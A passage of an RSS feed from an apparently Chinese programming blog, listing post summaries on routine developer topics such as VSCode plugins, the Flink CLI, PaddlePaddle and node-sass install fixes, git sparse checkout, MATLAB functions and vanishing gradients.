      <description>VSCode 是我们前端开发的一个强大的IDE，所以选择趁手好用的插件是提高开发效率，然后剩下的时间用来摸鱼是很有必要滴。&#xA;效率篇（33） Auto Rename Tag Auto Rename Tag : 自动重命名成对的 HTML/XML 标记，与 Visual Studio IDE 相同。&#xA;插件名：Auto Rename Tag官方地址：Auto Rename Tag - Visual Studio Marketplace特征： 当您重命名一个 HTML/XML 标签时，会自动重命名配对的 HTML/XML 标签用法：当您重命名一个 HTML/XML 的开始或结束标签时，会自动重命名配对的 HTML/XML 标签。 Auto Close Tag Auto Close Tag : 自动添加 HTML/XML 关闭标记，与 Visual Studio IDE 或 Sublime Text 一样。&#xA;插件名：Auto Close Tag官方地址：Auto Close Tag - Visual Studio Marketplace特征： 键入开始标签的右括号时自动添加结束标签插入结束标签后，光标在开始和结束标签之间设置不自动关闭的标签列表自动关闭自闭合标签支持 Sublime Text 3 的自动关闭标签使用键盘快捷键或命令面板手动添加关闭标签 用法：输入开始标签的右括号后，将自动插入结束标签 也可以安装 Auto Complete Tag 插件，它已经结合了自动关闭标签和自动重命名标签插件的功能。</description>
    </item>
    <item>
      <title>Flink部署——命令行界面</title>
      <link>https://bchobby.github.io/posts/364bf12d5257cd9ed2e44e6ec12e0b9a/</link>
      <pubDate>Sun, 26 Jun 2022 18:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/364bf12d5257cd9ed2e44e6ec12e0b9a/</guid>
      <description>文章目录 作业生命周期管理（Job Lifecycle Management）提交作业作业监控创建一个保存点设置保存点终止作业正常停止作业以创建最终保存点非优雅的停止作业 从保存点启动作业 CLI Actions高级命令行界面REST API选择部署目标提交 PyFlink 作业 Flink 提供了一个命令行界面 （CLI） bin/flink 来运行打包为 JAR 文件的程序并控制其执行。CLI 是任何 Flink 设置的一部分，可在本地单节点设置和分布式设置中使用。它连接到在conf/flink-conf.yaml中指定的正在运行的JobManager。&#xA;作业生命周期管理（Job Lifecycle Management） 本节中列出的命令工作的先决条件是运行 Flink 部署，如 Kubernetes、YARN 或任何其他可用的选项。您可以随意在本地启动 Flink 集群，在您自己的机器上尝试这些命令。&#xA;提交作业 提交作业意味着将作业的 JAR 和相关依赖项上传到 Flink 集群并启动作业执行。对于此示例，我们选择一个长时间运行的作业，如 examples/streaming/StateMachineExample.jar。您可以随意从 examples/文件夹中选择任何其他JAR存档或部署自己的作业。&#xA;$ ./bin/flink run \ --detached \ ./examples/streaming/StateMachineExample.jar 使用 --detached 提交作业将使该命令在提交完成后返回。输出包含（除其他内容外）新提交的作业的 ID。&#xA;Usage with built-in data generator: StateMachineExample [--error-rate &amp;lt;probability-of-invalid-transition&amp;gt;] [--sleep &amp;lt;sleep-per-record-in-ms&amp;gt;] Usage with Kafka: StateMachineExample --kafka-topic &amp;lt;topic&amp;gt; [--brokers &amp;lt;brokers&amp;gt;] Options for both the above setups: [--backend &amp;lt;file|rocks&amp;gt;] [--checkpoint-dir &amp;lt;filepath&amp;gt;] [--async-checkpoints &amp;lt;true|false&amp;gt;] [--incremental-checkpoints &amp;lt;true|false&amp;gt;] [--output &amp;lt;filepath&amp;gt; OR null for stdout] Using standalone source with error rate 0.</description>
    </item>
    <item>
      <title>windows安装paddlepaddle遇到的问题及解决方案</title>
      <link>https://bchobby.github.io/posts/472172964e13af06054a339578b9f1d0/</link>
      <pubDate>Sun, 26 Jun 2022 15:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/472172964e13af06054a339578b9f1d0/</guid>
      <description>第一次尝试学习paddlepaddle先根据githup上官方的安装方式进行安装&#xA;我装的是cpu版本，安装过程中遇到了以下错误：&#xA;错误一、&#xA;运行 python3 -m pip install paddlepaddle -i https://mirror.baidu.com/pypi/simple 报错信息如下：“error: Microsoft Visual C++ 14.0 or greater is required.“&#xA;解决方案：&#xA;参考网上方案Microsoft Visual C++ 14.0 or greater is required. Get it with &#34;Microsoft C++ Build Tools&#34;的解决办法 - 知乎 直接安装Microsoft C++ Build Tools，而不需要安装Visual Studio。&#xA;错误二、&#xA;运行 pip install &#34;paddleocr&amp;gt;=2.0.1&#34; 命令后报错如下&#xA;“LINK : fatal error LNK1158: cannot run ‘rc.exe’”&#xA;解决方案：&#xA;参考LINK : fatal error LNK1158: cannot run &#39;rc.exe&#39;_YapingXin的博客-CSDN博客&#xA;将rc.exe 、rcdll.dll复制一份到D:\Apps\x86\Microsoft\Visual_Studio\v14.0\VC\bin&#xA;错误三、</description>
    </item>
    <item>
      <title>VScode 函数与后面括号之间加空格</title>
      <link>https://bchobby.github.io/posts/d3c35fc9bcb5fbe6fb51a915963a0c75/</link>
      <pubDate>Sun, 26 Jun 2022 13:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3c35fc9bcb5fbe6fb51a915963a0c75/</guid>
      <description>vscode的设置文件&#xA;在vscode的：文件 》首选项 》设置 》打开设置&#xA;代码如下：&#xA;{ // vscode默认启用了根据文件类型自动设置tabsize的选项 &#34;editor.detectIndentation&#34;: false, // 重新设定tabsize &#34;editor.tabSize&#34;: 2, // #每次保存的时候自动格式化 &#34;editor.formatOnSave&#34;: true, // #每次保存的时候将代码按eslint格式进行修复 &#34;eslint.autoFixOnSave&#34;: true, // 添加 vue 支持 &#34;eslint.validate&#34;: [ &#34;javascript&#34;, &#34;javascriptreact&#34;, { &#34;language&#34;: &#34;vue&#34;, &#34;autoFix&#34;: true } ], // #让prettier使用eslint的代码格式进行校验 &#34;prettier.eslintIntegration&#34;: true, // #去掉代码结尾的分号 &#34;prettier.semi&#34;: false, // #使用带引号替代双引号 &#34;prettier.singleQuote&#34;: true, // #让函数(名)和后面的括号之间加个空格 &#34;javascript.format.insertSpaceBeforeFunctionParenthesis&#34;: true, // #这个按用户自身习惯选择 &#34;vetur.format.defaultFormatter.html&#34;: &#34;js-beautify-html&#34;, // #让vue中的js按编辑器自带的ts格式进行格式化 &#34;vetur.format.defaultFormatter.js&#34;: &#34;vscode-typescript&#34;, &#34;vetur.format.defaultFormatterOptions&#34;: { &#34;js-beautify-html&#34;: { &#34;wrap_attributes&#34;: &#34;force-aligned&#34; // #vue组件中html代码格式化样式 } }, // 格式化stylus, 需安装Manta&#39;s Stylus Supremacy插件 &#34;</description>
    </item>
    <item>
      <title>利用labelme将json标签批量转换为png【图像分割数据集】</title>
      <link>https://bchobby.github.io/posts/fdab80b0970b5b104bf6c371d16381de/</link>
      <pubDate>Sun, 26 Jun 2022 12:29:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdab80b0970b5b104bf6c371d16381de/</guid>
      <description>输出结果为：out_file文件下Image和GT两个文件夹，其中Image保存原图，GT保存mask，如下图。rename函数作用是将文件名字从XX_image1.jpg修改为image0001.jpg。&#xA;import json import os import os.path as osp import warnings import cv2 from labelme import utils import numpy as np import PIL.Image import PIL.ImageDraw def json2png(json_file, out_file): warnings.warn(&#34;This script is aimed to demonstrate how to convert the\n&#34; &#34;JSON file to a single image dataset, and not to handle\n&#34; &#34;multiple JSON files to generate a real-use dataset.&#34;) # freedom list_path = os.listdir(json_file) print(&#39;freedom =&#39;, json_file) for i in range(0, len(list_path)): print(i) path = os.</description>
    </item>
    <item>
      <title>‘java-version‘ 不是内部或外部命令，也不是可运行的程序或批处理文件。</title>
      <link>https://bchobby.github.io/posts/1e7d61b5cc8551affec7320d611ec18a/</link>
      <pubDate>Sun, 26 Jun 2022 12:10:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e7d61b5cc8551affec7320d611ec18a/</guid>
      <description>安装好jdk和jre，并且配置好环境变量后，按下win+R键，出现“运行”窗口。在“打开（O）：”后面的输入栏输入“cmd”，然后点击确认。&#xA;点击确定后出现下面的小黑框：&#xA;在“C:\Users\86188&amp;gt;”（你的电脑上不一定是这个路径，不管是什么，直接在后面输入就可以）后面输入“java-version”,然后按下回车键，查看当前自己电脑上的java版本：&#xA;按下回车键后，没有显示java版本，而是提示：&#39;java-version&#39; 不是内部或外部命令，也不是可运行的程序或批处理文件。&#xA;这是因为我们的命令输错了，java和横杠之间还要加一个空格。&#xA;验证：输入“java -version”,按下回车键，结果显示如下：&#xA;可以看到此时输出了java的版本“1.8.0_333” .</description>
    </item>
    <item>
      <title>Ubuntu 20.04 安装Xcelium2009无法正常运行cdnshelp</title>
      <link>https://bchobby.github.io/posts/6eeae1293879cbf458e67fcd3d1d192d/</link>
      <pubDate>Sun, 26 Jun 2022 11:47:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eeae1293879cbf458e67fcd3d1d192d/</guid>
      <description>讲故事总得有个头啊&#xA;对于IC界的搬砖工，执着于对新鲜事物的追求，当EETOP上惊现Xcelium2009时，欣喜若狂，以迅雷不及掩耳之势完成XCELIUM的安装。&#xA;在命令行运行了一个简单的仿真，输出hello&#xA;随后启动simvision，点击help菜单中的cadence help library，呵呵。。。，不能正常打开，于是乎，直接运行帮助命令cdnsshelp&#xA;{install dir}/XCELIUM2009/bin/cdnshelp 由于Cadence各工具均有帮助命令，这里采用绝对路径启动。&#xA;意想不到的事情出现了，该命令不能正常启动，显示如下问题：&#xA;2022/06/26 03:02:41 WARNING This OS does not appear to be a Cadence supported Linux configuration. 2022/06/26 03:02:41 For more info, please run CheckSysConf in &amp;lt;cdsRoot/tools.lnx86/bin/checkSysConf &amp;lt;productId&amp;gt; CadenceHelpv03.12 Build ID: 080320-91529 Copyright (c) 2006-2022 Cadence Design Systems, Inc. All rights reserved Launching gui.../opt/Cadence/XCELIUM2009/tools.lnx86/cdnshelp/bin/cdnshelp.exe /opt/Cadence/XCELIUM2009/doc/xmlreg/library.lbr Cadence Help logging started at /home/user/.config/cadence/cdnshelp.log file. 发现该命令运行异常，查看/cat /home/user/.config/cadence/cdnshelp.log，显示：&#xA;2022/06/26 03:02:41 WARNING This OS does not appear to be a Cadence supported Linux configuration.</description>
    </item>
    <item>
      <title>Unable to find the ncurses libraries or the required header files</title>
      <link>https://bchobby.github.io/posts/e96438707af1fc8db740f9dcb8590400/</link>
      <pubDate>Sun, 26 Jun 2022 08:37:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e96438707af1fc8db740f9dcb8590400/</guid>
      <description>进入内核目录，编译内核，执行make menuconfig时，提示如下：&#xA;*** Unable to find the ncurses libraries or the *** required header files. *** &#39;make menuconfig&#39; requires the ncurses libraries. *** *** Install ncurses (ncurses-devel) and try again. *** scripts/kconfig/Makefile:202: recipe for target &#39;scripts/kconfig/dochecklxdialog&#39; failed make[1]: *** [scripts/kconfig/dochecklxdialog] Error 1 Makefile:520: recipe for target &#39;menuconfig&#39; failed make: *** [menuconfig] Error 2 但是我肯定是装了ncurses的，使用dpkg --get-selections |grep ncurse查看：&#xA;可以确认，ncurses确实安装了。&#xA;但是配置内核的时候，就是提示没装，后来，看了供应商给的内核编译命令，在执行make menuconfig之前还有两条命令：&#xA;unset LDFLAGS unset PKG_CONFIG_PATH 我照做之后，顺利的就可以进入到配置内核的界面了。&#xA;虽然这个问题解决了，但是由于它困扰了我很久，所以我决定看看为什么这两个环境变量会导致找不到ncurses，于是我exit退出命令行，然后重新进命令行，这次没用unset命令，并且打印了这两个环境变量的值：&#xA;echo $LDFLAGS -Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed echo $PKG_CONFIG_PATH /opt/ros/kinetic/lib/pkgconfig:/opt/ros/kinetic/lib/x86_64-linux-gnu/pkgconfig:/opt/fsl-imx-xwayland/4.</description>
    </item>
    <item>
      <title>西南交通大学高级语言程序设计(SCAI000812)第2次实验报告-学生成绩管理系统（链表版）</title>
      <link>https://bchobby.github.io/posts/98c3b0ff86a7e139a618cd2516bf8383/</link>
      <pubDate>Sat, 25 Jun 2022 21:36:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98c3b0ff86a7e139a618cd2516bf8383/</guid>
      <description>背景描述：&#xA;因为苦于网上到处都找不到答案，仅有的链表版还要收费，我就自己写了一个低配版链表，将就着用，想的是帮助明年以及后年的学弟学妹们。&#xA;题目描述：&#xA;实验目的：&#xA;掌握程序设计的基本算法和简单数据结构基础，能够综合运用基本控制语句、算法和数据结构，以及自顶向下、逐步求精的模块化设计方法，能够设计具有一定规模的系统级C语言程序，提高系统编程能力；针对计算相关的复杂工程问题，能够使用恰当的算法和数据结构，完成计算、统计、排序、检索、匹配等相关的软件系统的构造、测试与实现。 实验要求：&#xA;掌握常用的程序调试和测试方法。采用自顶向下、逐步求精的模块化设计思想设计一个简单的成绩管理系统。报告要求解释说明采用了什么数据结构和算法，为什么选择这种数据结构或算法(系统设计描述)，系统实现过程中遇到了哪些问题，这些问题是如何解决的，还有什么问题尚未解决，今后打算从哪几个方面进行改进，本设计的亮点和难点在哪里，实验结果如何，有哪些收获和学习体会(大作业反思)；编写程序完成以下实验(大作业)内容并完成实验报告。 实验内容：&#xA;某班有最多不超过30人（具体人数由实际输入决定）参加期末考试，最多不超过6门（具体门数由实际输入决定）。学生成绩管理系统是一个非常实用的程序，如果能够提前学习字符文件读写操作，把用户输入的数据存盘为字符文件，下次运行时读出，就更有用了。即编程实现如下菜单驱动的学生成绩管理系统：&#xA;（1）录入学生的学号、姓名和各科考试成绩；&#xA;（2）计算每门课程的总分和平均分；&#xA;（3）计算每个学生的总分和平均分；&#xA;（4）按每个学生的总分由高到低排出名次表；&#xA;（5）按每个学生的总分由低到高排出名次表；&#xA;（6）按学号由小到大排出成绩表；&#xA;（7）按姓名的字典顺序排出成绩表；&#xA;（8）按学号查询学生排名及其考试成绩；&#xA;（9）按姓名查询学生排名及其考试成绩；&#xA;（10）按优秀（90~100）、良好（80~89）、中等（70~79）、及格（60~69）、不及格（0~59）5个类别，对每门课程分别统计每个类别的人数以及所占的百分比；&#xA;（11）输出每个学生的学号、姓名、各科考试成绩，以及每门课程的总分和平均分；&#xA;（12）将每个学生的记录信息写入文件(可选实现)； （13）从文件中读出每个学生的记录信息并显示(可选实现)。&#xA;要求程序在输入课程门数以及所有课程名称后，先显示如下菜单，并提示用户输入选项：&#xA;代码实现：&#xA;初始化部分是当时我自己定义的（方便函数调试）&#xA;有需求的话自己改一下&#xA;另外须知，本程序可能有些地方会与题目要求略微不符（能力不够），请大家见谅。&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; typedef struct Student{ //定义学生结构体（链表模式） char name[15]; int sum; int number; int Math; int Chinese; int Physic; int English; int Biology; int Chemical; struct Student *next; }student; //测试用 student S[6] = {{&#34;NULL&#34;,0,0,0,0,0,0,0,0}, {&#34;b&#34;,0,102,99,99,99,99,99,99}, {&#34;c&#34;,0,103,98,98,98,98,98,98}, {&#34;d&#34;,0,104,97,97,97,97,97,97}, {&#34;e&#34;,0,105,96,96,96,96,96,96}, {&#34;f&#34;,0,106,95,95,95,95,95,95}}; //初始化，方便调试，并且头节点不存放数据 void sum(student *head) { //对每个学生的成绩求总分 student *p1 = head; //总分是在链表里面 while(p1-&amp;gt;next !</description>
    </item>
    <item>
      <title>matlab中sum函数的使用</title>
      <link>https://bchobby.github.io/posts/fb5f6fa05f37482b9a959edc3b74573b/</link>
      <pubDate>Sat, 25 Jun 2022 21:10:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb5f6fa05f37482b9a959edc3b74573b/</guid>
      <description>目录 1 向量的相加2 矩阵加法3 参数设定4 参考文献 在做方法模型的时候，不可避免的要读matlab代码。特别是做矩阵分解方法，所以积累一点matlab常见函数的用法，提高阅读代码的速度是非常有必要的。 现在介绍matlab中常用的sum函数：sum函数有两种用法 1 向量的相加 b=sum(a); a表示行向量，b表示行向量求和的值。&#xA;例子如下：&#xA;&amp;gt;&amp;gt;a=[1 2 3 4 5]; &amp;gt;&amp;gt;b=sum(a); b= 15 2 矩阵加法 生成一个矩阵以及使用sum函数对矩阵进行操作。在MATLAB默认的情况下，sum函数对矩阵的每一列的元素进行求和，结果是一个横向量。&#xA;调用格式：b=sum(a); a表示矩阵，b表示矩阵每列求和得到的行向量。&#xA;例子如下：&#xA;生成一个矩阵以及使用sum函数对矩阵进行操作。在MATLAB默认的情况下，sum函数对矩阵的每一列的元素进行求和，结果是一个横向量。&#xA;调用格式：b=sum(a); a表示矩阵，b表示矩阵每列求和得到的行向量。&#xA;例子如下：&#xA;&amp;gt;&amp;gt;a=[1 2 3 4 5 6 7 8 9]; &amp;gt;&amp;gt;sum(a)= [12 15 18]; 3 参数设定 设定sum函数的参数列表的参数dim，对矩阵每一列或者每一列求和或每一行求和，得到行向量或者列向量。&#xA;调用格式：b=sum(a,dim); a表示矩阵；dim等于1或者2，1表示每一列进行求和，2表示每一行进行求和；b表示求得的行向量。&#xA;例子如下：&#xA;&amp;gt;&amp;gt;a=[1 2 3 4 5 6 7 8 9]; &amp;gt;&amp;gt;sum(a,1)=[12 15 18]; &amp;gt;&amp;gt;sum(a,2)=[ 6 15 24]; 4 参考文献 [1]MATLAB 函数sum的用法简介</description>
    </item>
    <item>
      <title>梯度消失问题</title>
      <link>https://bchobby.github.io/posts/a4c065613e89cfb0216c32ee3e8a234f/</link>
      <pubDate>Sat, 25 Jun 2022 17:24:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4c065613e89cfb0216c32ee3e8a234f/</guid>
      <description>目录&#xA;什么是梯度消失&#xA;梯度消失产生的原因&#xA;梯度消失解决方法&#xA;什么是梯度消失 梯度消失问题( vanishing gradient)是在早期的BP网络中比较常见的问题。这种问题的发生会让训练很难进行下去，看到的现象就是训练不再收敛——Loss过早地不再下降,而精确度也过早地不再提高。&#xA;梯度消失产生的原因 我们还是来看一个具体的例子:&#xA;就是两个节点首尾相接组成的神经网络(应该说连“线”都算不上)，这其中位于网络前部的w1的更新就需要计算损失函数对w,的偏导数，在这个函数里，根据链式法则我们能够得到,前面的这个神经元的w,的导数是这样一个表达式:&#xA;其中我们发现第一项关于中z_2的偏导数和第三项关于z_1的偏导数其实就是Sigmoid函数的斜率，Sigmoid函数的图像如图&#xA;Sigmoid函数比较致命的缺点就是在自变量处于小于-5或者大于5的部分，他的斜率几乎处于水平了，即导数几乎为零，这就像一个陷阱，万一我们上面所说的第一项关于中z_2的偏导数和第三项关于z_1的偏导数正好处于陷阱时，会使整个导数的值也是接近0的状态，这样误差在向前传递的过程中会导致网络前端的w几乎没什么变化，因为单数实在是太小了，多个网络层的的导数连乘，从而越来越小，而且网络层级越多，越往前的隐藏层这种情况就越糟糕———w变化就越慢,也就是说，这一层没能学到什么东西。这就是我们所说的梯度消失问题，也叫作梯度弥散问题。&#xA;既然我们弄清楚了，导致梯度消失问题的原因是因为在对参数求偏导时，根据链式法则得到的连乘式中多个几乎为0的导数值连乘导致，那么我们就可以提出相应的解决办法。&#xA;导数小导致每次更新时的值过小，那么相反，导数大就应该会使更新的数值比较大，更新速度比较快。所以无非就是要消除这种链式发着中发生的每一项绝对值小于1的情况呗。&#xA;让我们再来看一下例子中的两个导数值：&#xA;第二项其实就是sigmoid函数求导，即&#xA;所以在这里我们的想法就是让连乘大于等于1。&#xA;梯度消失解决方法 我们可以尝试一下如下方法&#xA;方法1：将w初始化大一些&#xA;假设我们把w初始化成10，在 Sigmoid函数为0的地方，导数的绝对值是4,当 lwl=10的时候=2.5。这个值确实够大了，但是大就一定好么，未必。&#xA;同样是链式法则的连乘关系，原来是因为导数太小导致网络前端的w变化太慢，这么一改之后反过来了，网络前端的变化率太高了，一次的变化量非常大。就拿刚刚这个例子来说，如果有10层，10个2.5相乘就是9536左右。俗话说“过犹不及”，这就算是一个很小的n也能一下子从地下挪到天上去，这种现象叫做梯度爆炸( gradient explording)，也叫作梯度膨胀。&#xA;综上可知，这种方法似乎并不理想，那让我们看下一个方法。&#xA;方法二：选取合适的激活函数&#xA;既然sigmoid函数本身就有缺陷，那么我们就从根上解决问题，直接换激活函数！那是否有合适的激活函数呢？还真有，那就是ReLU激活函数，ReLU激活函数的图像如下&#xA;这个函数的形式为y=max(x,0)，这个函数在原点左侧部分斜率为0，在右侧则是一条斜率为1的直线。函数在x大于0的部分是呈现出线性特点的，在小于0的时候则是一条直线，这个锋利的弯折提供了良好的非线性特点。尤其注意它在第一象限的这条直线，它的导数恒为.1，这是它的“激活”状态;x小于0的部分导数恒为0，这是它的“非激活”状态。所以它的优点有两个应该是显而易见的。&#xA;其一，在第一象限中不会有明显的梯度消失问题，因为导数恒为1，而w在初始化的时候也是有大有小，连乘的时候不会轻易出现很小或者很大的数值，这就是一个非常好的特性了。&#xA;其二，由于导数为1，所以求解它的导数要比求解Sigmoid函数的导数代价要小一些，这里说的代价主要是时间代价。前面咱们说了求导数要在函数的这个点上用Loss(w+A)-Loss(x)的古社击求这个计算的次数可就比直接拿一个1出来麻烦多了，尤其是在损失函数里的w很多的时候，一次计算所消耗的计算资源就太多了，速度会变慢。</description>
    </item>
    <item>
      <title>Servlet（IDEA创建Maven工程）</title>
      <link>https://bchobby.github.io/posts/e2ade342aca05f0f698bd0cdb36fbd3d/</link>
      <pubDate>Fri, 24 Jun 2022 18:49:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2ade342aca05f0f698bd0cdb36fbd3d/</guid>
      <description>Servlet简介 Servlet是sun公司开发动态web的一门技术Sun公司在这些API中提供一个接口，叫做：Servlet，如果你想开发一个Servlet程序，其实只需要完成两个步骤： 编写一个类，实现Servlet接口把开发好的Java类部署到Web服务器中 总结一句话：把实现了Servlet接口的Java程序叫做Servlet HelloServlet 创建一个普通干净的Maven项目、删掉里面的src目录，以后学习就在这项目里面建立Model；这个空的工程就是Maven的主工程。我们把需要的Maven依赖导入，以后就不用重复导入外层是个普通的Maven项目，第二步我们在创建好的Maven项目上new一个webapp项目 可以看到，刚开始创建的普通项目中多了一个子模块，并且在导入Maven的一些东西&#xA;关于Maven父子工程的理解 在我们刚开始创建的普通Maven项目的基础上创建子项目，也就是我们的web项目&#xA;在父项目中会有modules&#xA;而子项目就会有parent&#xA;父项目中的jar包，子项目可以直接使用&#xA;将web.xml里的配置改成我们所需要的 代码如下&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;web-app xmlns=&#34;http://xmlns.jcp.org/xml/ns/javaee&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&#34; version=&#34;4.0&#34; metadata-complete=&#34;true&#34;&amp;gt; &amp;lt;/web-app&amp;gt; 然后我们在子项目的main文件夹下创建java和resources，并且把资源标记一下。&#xA;修改资源文件夹的颜色在这里&#xA;Maven环境优化 修改web.xml为最新的将Maven的结构搭建完整 编写一个Servlet程序 编写一个普通类 2.实现Servlet接口，这里我们直接继承HttpServlet&#xA;package com.godairo.servlet; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; public class HelloServlet extends HttpServlet { //由于get或者post只是请求实现的不同方式，可以相互调用，因为业务逻辑都一样； @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //ServletOutputStream outputStream = resp.</description>
    </item>
    <item>
      <title>npm下载node-sass 报错Cannot download https://github.com/sass/node-sass/releases/download/v3.4.2/win32...</title>
      <link>https://bchobby.github.io/posts/8856329d9bfcee6ebb60e1fb98f664a0/</link>
      <pubDate>Fri, 24 Jun 2022 13:58:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8856329d9bfcee6ebb60e1fb98f664a0/</guid>
      <description>npm install node-sass&#xA;Cannot download https://github.com/sass/node-sass/releases/download/v3.4.2/win32-x64-46_binding.nodeHint: If github.com is not accessible in your locationtry setting a proxy via HTTP_PROXY, e.g.export HTTP_PROXY=http://example.com:1234or configure npm proxy vianpm config set proxy http://example.com:8080&#39;&#xA;很简单的一条命令，但是结果却不尽如人意，简单看了下别人介绍，原因是走外国网络，安装失败。&#xA;网上有说翻墙的、有说用淘宝镜像的，然而有些地方网络限制还是失败。&#xA;后来找到一种方法，下载node-sass文件的方式，很顺利。&#xA;1. 执行命令 node -p &#34;[process.platform, process.arch, process.versions.modules].join(&#39;-&#39;)&#34;，复制输出内容。例如：win32-x64-64&#xA;2. 进入安装包页面https://github.com/sass/node-sass/releases，搜索复制内容，下载win32-x64-64_binding.node文件，放入nodejs安装目录：C:/Program Files/nodejs/node_modules/npm/win32-x64-64_binding.node&#xA;3. 修改~/.npmrc增加：sass_binary_path=C:/Program Files/nodejs/node_modules/npm/win32-x64-64_binding.node，路径即为第二步的路径。&#xA;4. npm i --save node-sass就可以顺利安装了。&#xA;作者：hapy_c124&#xA;链接：https://www.jianshu.com/p/d390136298da&#xA;来源：简书&#xA;著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</description>
    </item>
    <item>
      <title>Git拉取指定文件或者文件夹</title>
      <link>https://bchobby.github.io/posts/c7bf2a816a2cf156194b7a8a263330ac/</link>
      <pubDate>Fri, 24 Jun 2022 09:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7bf2a816a2cf156194b7a8a263330ac/</guid>
      <description>在进行项目开发的时候，有时候会有这样的需求那就是：&#xA;我们只希望从Git仓库里取指定的文件或者文件夹出来。在SVN里面，这非常容易实现，因为SVN基于文件方式存储，而Git却是基于元数据方式分布式存储文件信息的，它会在每一次Clone的时候将所有信息都取回到本地，即相当于在你的机器上生成一个克隆版的版本库。因此在Git1.7.0以前，这无法实现，但是幸运的是在Git1.7.0以后加入了Sparse Checkout模式，这使得Check Out指定文件或者文件夹成为可能。&#xA;仓库只有一个的情况下，只想拉取某个目录文件；其他文件没用到的会很浪费时间；&#xA;关键：git的sparse checkout模式&#xA;理论 github.io&#xA;“Sparse checkout” 允许稀疏地填充工作目录。它使用 skip-worktree 位（参见git-update-index(1)）告诉 Git 工作目录上的文件是否值得查看。&#xA;“git read-tree”和其他基于合并的命令（“git merge”、“git checkout”……）可以帮助维护跳过工作树位图和工作目录更新。$GIT_DIR/info/sparse-checkout用于定义跳过工作树参考位图。当“git read-tree”需要更新工作目录时，它会根据这个文件重新设置索引中的skip-worktree位，它使用与.gitignore文件相同的语法。如果条目与此文件中的模式匹配，则会在该条目上设置 skip-worktree。否则 skip-worktree 将被取消设置。&#xA;然后它将新的跳过工作树值与前一个值进行比较。如果 skip-worktree 从 unset 变为 set，它将添加相应的文件。如果它从设置变为未设置，则该文件将被删除。&#xA;虽然$GIT_DIR/info/sparse-checkout通常用于指定哪些文件在其中。您还可以使用否定模式指定哪些文件不在其中。例如，要删除“不需要的”文件：&#xA;* !不需要的 另一个棘手的事情是当您不再需要sparse checkout完全重新填充工作目录。您不能只禁用“sparse_checkout”，因为 skip-worktree 仍在索引中，并且您的工作目录仍然很少填充。您应该使用$GIT_DIR/info/sparse-checkout文件内容重新填充工作目录，如下所示：&#xA;* 然后您可以禁用Sparse_checkout。默认禁用“git read-tree”和类似命令中的Sparse checkout支持。您需要打开core.sparseCheckout以获得Sparse checkout支持&#xA;大致步骤 1，本地新建文件夹或者执行命令&#xA;mkdir project &amp;amp;&amp;amp; cd project 2，目录初始化&#xA;git init 3，设置远程仓库地址(将本地仓库关联到远程仓库)&#xA;git remote add -f origin &amp;lt;origin_url&amp;gt; 4，设置sparse checkout模式(稀疏检出)，允许克隆子目录&#xA;git config core.sparsecheckout true&#x9;//config：参数是用来配置git环境的 # 上面的代码会帮助我们创建一个空的本地仓库，同时将远程Git Server URL加入到Git Config文件中。 5，设置指定拉取的目录（ *是通配符，!</description>
    </item>
    <item>
      <title>数学建模——非线性规划</title>
      <link>https://bchobby.github.io/posts/2f287a37b31b07924c38dac6b550eb59/</link>
      <pubDate>Fri, 24 Jun 2022 00:29:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f287a37b31b07924c38dac6b550eb59/</guid>
      <description>目录&#xA;基本概念&#xA;凸规划&#xA;判别定理&#xA;二次规划模型&#xA;非线性规划的求解&#xA;无约束极值问题&#xA;有约束极值问题&#xA;基于求解器的解法&#xA;基于问题的求解&#xA;其他&#xA;非线性规划：描述目标函数或约束条件条件的数学表达式中，至少有一个是非线性函数。&#xA;基本概念 记是n维欧式空间中的一个点（n维向量），，，是定义在上的实值函数。若f,g,h函数中至少有一个是x的非线性函数，则称如下为非线性规划模型的一般形式：&#xA;全局最优解：若，并且都有，则称为全局最优解。&#xA;局部最优解：x的邻域内（也包含于可行域），x所对应的函数值是最小的，则x为局部最优解。&#xA;无约束非线性规划问题可以具体表示为：&#xA;凸规划 凸规划是一类特殊的非线性规划问题，可以求得全局最优解。&#xA;凸集：&#xA;凸函数：&#xA;定义在凸集上的有限个凸函数的非负线性组合仍为凸函数&#xA;判别定理 半正定矩阵的行列式非负。&#xA;黑塞矩阵：&#xA;对于非线性规划模型的一般形式，若f(x)为凸函数，g(x)为凸函数，h(x)为线性函数，则称该非线性规划问题为凸规划。凸规划局部最优解即为全局最优解，最优解的集合形成一个凸集。当目标函数为严格凸函数时，其最优解必定唯一。&#xA;例子&#xA;f(x)和g2(x)的黑塞矩阵的行列式：&#xA;其他约束条件为线性函数，所以是一个凸规划问题&#xA;clc,clear prob = optimproblem; x = optimvar(&#39;x&#39;,2,&#39;LowerBound&#39;,0); prob.Objective = sum(x.^2)-4*x(1)+4; con = [-x(1)+x(2)-2 &amp;lt;= 0 x(1)^2-x(2)+1 &amp;lt;= 0]; prob.Constraints.con = con; x0.x = rand(2,1)%非线性规划必须赋初值，x0名字随便取 [s,f,flag,o] = solve(prob,x0); s.x ans =&#xA;0.5536&#xA;1.3064&#xA;二次规划模型 